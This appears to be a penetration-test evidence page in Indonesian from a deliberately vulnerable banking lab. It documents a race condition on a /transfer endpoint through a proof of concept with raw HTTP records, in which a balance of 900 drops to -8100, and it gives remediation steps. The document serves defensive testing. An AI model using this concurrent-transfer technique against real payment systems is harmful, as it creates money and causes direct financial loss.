Skenario 11 / 26FAIL

Race Condition - Transfer - Balance Check

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

vuln-bank/Evidence/[FAIL] Race Condition - Transfer - Balance Check

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] Race Condition - Transfer - Balance Check

Deskripsi

Endpoint /transfer membaca saldo pengirim, memeriksa kecukupan dana, lalu menulis saldo baru sebagai operasi terpisah tanpa transaksi database atomik maupun penguncian baris. Sepuluh permintaan transfer yang dikirim bersamaan semuanya lolos pemeriksaan saldo menggunakan nilai lama yang sama sebelum satu pun penulisan selesai (TOCTOU).

Dampak

Integrity (Critical): penyerang dapat mengirim dana jauh melebihi saldo yang dimiliki. Pada pengujian, saldo pengirim jatuh menjadi negatif sementara saldo penerima bertambah penuh, sehingga uang tercipta dari ketiadaan. Pada sistem perbankan ini berarti kerugian finansial langsung dan pembukuan yang tidak konsisten.

CWE

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization

OWASP

A04:2021 - Insecure Design

Skenario

Normal: satu transfer dalam batas saldo berhasil, dan satu transfer melebihi saldo ditolak dengan pesan dana tidak cukup, membuktikan kontrol bekerja saat serial. Eksploitasi: sepuluh transfer senilai 900 dikirim paralel dari saldo yang jauh lebih kecil. Dampak: saldo pengirim menjadi negatif, total dana yang berpindah melampaui saldo yang pernah dimiliki.

Endpoint

POST http://127.0.0.1:5001/transfer

Fitur terdampak

Transfer dana antar rekening

Rekomendasi perbaikan

- Jalankan pemeriksaan saldo dan pendebetan dalam satu transaksi database atomik. - Kunci baris rekening pengirim (SELECT ... FOR UPDATE) atau gunakan pembaruan kondisional UPDATE ... SET balance = balance - x WHERE balance >= x. - Tambahkan constraint CHECK (balance >= 0) pada kolom saldo sebagai jaring pengaman. - Terapkan idempotency key dan rate limiting pada endpoint transfer.

Bukti konsep

1) (Screenshot 1) NORMAL: transfer 100 dalam batas saldo -> berhasil. 2) (Screenshot 2) NORMAL: transfer 5000 melebihi saldo -> ditolak, kontrol saldo bekerja secara serial. 3) (Screenshot 3) BASELINE: saldo penyerang sebelum serangan = 900.0. 4) (Screenshot 4) EKSPLOITASI: sepuluh transfer senilai 900 dikirim bersamaan -> seluruhnya dilaporkan sukses. 5) (Screenshot 5) DAMPAK CIA: saldo penyerang menjadi -8100.0, bernilai negatif dan melampaui dana yang pernah dimiliki.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Race Condition - Transfer - Balance Check

Description:
Endpoint /transfer membaca saldo pengirim, memeriksa kecukupan dana, lalu menulis saldo baru sebagai operasi terpisah tanpa transaksi database atomik maupun penguncian baris. Sepuluh permintaan transfer yang dikirim bersamaan semuanya lolos pemeriksaan saldo menggunakan nilai lama yang sama sebelum satu pun penulisan selesai (TOCTOU).

Impact:
Integrity (Critical): penyerang dapat mengirim dana jauh melebihi saldo yang dimiliki. Pada pengujian, saldo pengirim jatuh menjadi negatif sementara saldo penerima bertambah penuh, sehingga uang tercipta dari ketiadaan. Pada sistem perbankan ini berarti kerugian finansial langsung dan pembukuan yang tidak konsisten.

CWE:
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization

OWASP:
A04:2021 - Insecure Design

Scenario:
Normal: satu transfer dalam batas saldo berhasil, dan satu transfer melebihi saldo ditolak dengan pesan dana tidak cukup, membuktikan kontrol bekerja saat serial. Eksploitasi: sepuluh transfer senilai 900 dikirim paralel dari saldo yang jauh lebih kecil. Dampak: saldo pengirim menjadi negatif, total dana yang berpindah melampaui saldo yang pernah dimiliki.

Endpoint:
POST http://127.0.0.1:5001/transfer

Affected Feature:
Transfer dana antar rekening

Remediation:
- Jalankan pemeriksaan saldo dan pendebetan dalam satu transaksi database atomik.
- Kunci baris rekening pengirim (SELECT ... FOR UPDATE) atau gunakan pembaruan kondisional UPDATE ... SET balance = balance - x WHERE balance >= x.
- Tambahkan constraint CHECK (balance >= 0) pada kolom saldo sebagai jaring pengaman.
- Terapkan idempotency key dan rate limiting pada endpoint transfer.

POC:
1) (Screenshot 1) NORMAL: transfer 100 dalam batas saldo -> berhasil.
2) (Screenshot 2) NORMAL: transfer 5000 melebihi saldo -> ditolak, kontrol saldo bekerja secara serial.
3) (Screenshot 3) BASELINE: saldo penyerang sebelum serangan = 900.0.
4) (Screenshot 4) EKSPLOITASI: sepuluh transfer senilai 900 dikirim bersamaan -> seluruhnya dilaporkan sukses.
5) (Screenshot 5) DAMPAK CIA: saldo penyerang menjadi -8100.0, bernilai negatif dan melampaui dana yang pernah dimiliki.

02 — Tangkapan layar

Tangkapan layar (5)

01 / 1
02 / 2
03 / 3
04 / 4
05 / 5

03 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1
HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 43
Content-Type: application/json

{"to_account": "9159912486", "amount": 100}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 87
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:24 GMT

{
  "message": "Transfer Completed",
  "new_balance": 900.0,
  "status": "success"
}
REKAMAN 02 / 2
HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 44
Content-Type: application/json

{"to_account": "9159912486", "amount": 5000}
HTTP response
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 60
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:25 GMT

{
  "message": "Insufficient funds",
  "status": "error"
}
REKAMAN 03 / 3
HTTP request
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 117
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:26 GMT

{
  "account_number": "0932191785",
  "balance": 900.0,
  "status": "success",
  "username": "pentest_attacker"
}
REKAMAN 04 / 4
HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 43
Content-Type: application/json

{"to_account": "9159912486", "amount": 900}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 85
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:27 GMT

{
  "message": "Transfer Completed",
  "new_balance": 0.0,
  "status": "success"
}
REKAMAN 05 / 5
HTTP request
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 119
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:28 GMT

{
  "account_number": "0932191785",
  "balance": -8100.0,
  "status": "success",
  "username": "pentest_attacker"
}